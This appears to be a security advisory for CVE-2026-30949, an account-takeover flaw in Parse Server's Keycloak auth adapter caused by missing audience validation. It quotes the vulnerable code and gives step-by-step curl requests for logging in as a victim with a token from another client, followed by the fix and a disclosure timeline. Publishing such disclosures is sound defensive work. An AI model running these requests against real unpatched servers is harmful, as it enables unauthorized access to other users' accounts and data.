CVE-2026-30949: Parse Server Keycloak Account Takeover via Missing Audience Validation
TL;DR — Parse Server's Keycloak authentication adapter accepts any valid access token from the entire Keycloak realm, regardless of which client application issued it. The configured client-id is never checked. If you share a Keycloak realm with other applications — which is the standard enterprise SSO pattern — an attacker holding a token from any co-tenant app can authenticate as any user on your Parse Server. Full account takeover. Assigned CVE-2026-30949.
why this matters
This is the second Parse Server auth adapter vulnerability in the same week. CVE-2026-30966 was a CVSS 10.0 in the _Join table access model. This one is a different class entirely — it's the same vulnerability pattern as CVE-2026-30863 (Google/Apple/Facebook JWT audience validation bypass), but applied to the Keycloak adapter, which was missed in that fix.
Keycloak is the dominant open-source identity provider in enterprise environments. Multi-client realms aren't an edge case — they're the default deployment pattern. Organizations run dozens of applications against a single Keycloak realm for SSO. That's the whole point. And every one of those applications can now mint tokens that Parse Server will blindly accept.
the root cause
The Keycloak adapter validates tokens by calling the Keycloak userinfo endpoint and checking that the subject (sub) claim matches. That's it. Here's the vulnerable code in src/Adapters/Auth/keycloak.js:
const handleAuth = async ({ access_token, id, roles, groups } = {}, { config } = {}) => {
// ...
try {
const response = await httpsRequest.get({
host: config['auth-server-url'],
path: `/realms/${config['realm']}/protocol/openid-connect/userinfo`,
headers: {
Authorization: 'Bearer ' + access_token,
},
});
if (
response &&
response.data &&
response.data.sub == id && // Only checks subject
arraysEqual(response.data.roles, roles) &&
arraysEqual(response.data.groups, groups)
) {
return; // Authenticated — but audience/client was NEVER validated
}
The adapter configuration accepts a client-id field. It's documented in the JSDoc at the top of the file. But it's never referenced during authentication. The value is accepted, stored, and completely ignored.
Two things make this exploitable:
- The Keycloak
userinfoendpoint returns user info for any valid token in the realm, regardless of which client issued it. That's by design — it's a realm-level endpoint. - The comparison
response.data.sub == iduses loose equality (==) instead of strict (===). A secondary concern, but worth noting.
The result: the adapter cannot distinguish between a token issued for your Parse Server client and a token issued for any other client in the same realm.
the exploit
Prerequisites are minimal. You need a Parse Server using Keycloak auth, a Keycloak realm with at least two clients, and a legitimate account on any of the other clients.
step 1: the target configuration
A standard Parse Server Keycloak setup looks like this:
// Parse Server config
{
auth: {
keycloak: {
config: {
"auth-server-url": "https://keycloak.example.com",
"realm": "my-realm",
"client-id": "parse-app" // This value is NEVER validated
}
}
}
}
That client-id gives a false sense of security. It's dead code.
step 2: obtain a token from a different client
The attacker gets a token from any other application in the same Keycloak realm. This can be their own legitimate account on a co-tenant app:
# Get access token from a DIFFERENT client in the same realm
curl -X POST "https://keycloak.example.com/realms/my-realm/protocol/openid-connect/token" \
-d "client_id=other-app" \
-d "client_secret=OTHER_APP_SECRET" \
-d "grant_type=password" \
-d "username=attacker" \
-d "password=attacker_password" \
-d "scope=openid"
If the attacker controls another client in the realm, they can obtain tokens for any user who has ever authenticated with their application via the OAuth authorization code flow.
step 3: authenticate to Parse Server as the victim
# Use token from other-app to authenticate as victim on Parse Server
curl -X POST "https://parse-server.example.com/parse/users" \
-H "X-Parse-Application-Id: YOUR_APP_ID" \
-H "Content-Type: application/json" \
-d '{
"authData": {
"keycloak": {
"access_token": "TOKEN_FROM_OTHER_APP",
"id": "VICTIM_USER_KEYCLOAK_SUB_ID",
"roles": [],
"groups": []
}
}
}'
Parse Server calls the Keycloak userinfo endpoint. The token is valid for the realm. Keycloak returns the user info. Parse Server checks sub == id — it matches. The attacker gets a valid session token for the victim's account.
One request. Full read/write access to the victim's data.
impact
Every Parse Server deployment using the Keycloak adapter in a multi-client realm is affected. That's the standard enterprise deployment pattern.
| Impact | Detail |
|---|---|
| Confidentiality | Attacker reads all victim user data |
| Integrity | Attacker modifies, creates, or deletes data as the victim |
| Cross-app token reuse | Any token from any co-tenant application works |
| No brute force | No credential guessing needed — just a valid token from any co-tenant |
The attack requires a valid token from another client in the same realm (AT:P in the CVSS vector — attack requirements present). But in enterprise environments with dozens of co-tenant applications, obtaining such a token ranges from trivial to guaranteed.
the fix
The patch replaces the HTTP userinfo call with local JWT verification. The adapter now validates the azp (authorized party) claim against the configured client-id, verifies the issuer, and checks the token signature via the Keycloak JWKS endpoint. This follows the same pattern already used by the Apple and Google auth adapters.
Patched versions:
- Parse Server 9: 9.5.2-alpha.5
- Parse Server 8: 8.6.18
No workaround exists. Update.
the broader pattern
This is the same class of vulnerability that hit the Google, Apple, and Facebook adapters in CVE-2026-30863. The fix for that CVE added proper audience validation to those three adapters. The Keycloak adapter was missed. Same codebase, same vulnerability class, same team — and it slipped through because the fix was applied adapter-by-adapter rather than at the framework level.
The lesson is familiar: when you find a vulnerability class in one component, audit every component that does the same thing. Token audience validation isn't a feature of individual adapters. It's a security invariant that every OAuth adapter must enforce. When that invariant is checked per-adapter instead of per-framework, gaps are inevitable.
disclosure timeline
| Date | Event |
|---|---|
| Mar 7, 2026 | Vulnerability reported to parse-community via GitHub Security Advisory |
| Mar 7, 2026 | Maintainer confirmed the vulnerability |
| Mar 9, 2026 | CVE-2026-30949 assigned by GitHub |
| Mar 9, 2026 | Patched versions released (9.5.2-alpha.5, 8.6.18) |
This vulnerability was reported through responsible disclosure to the parse-community security team.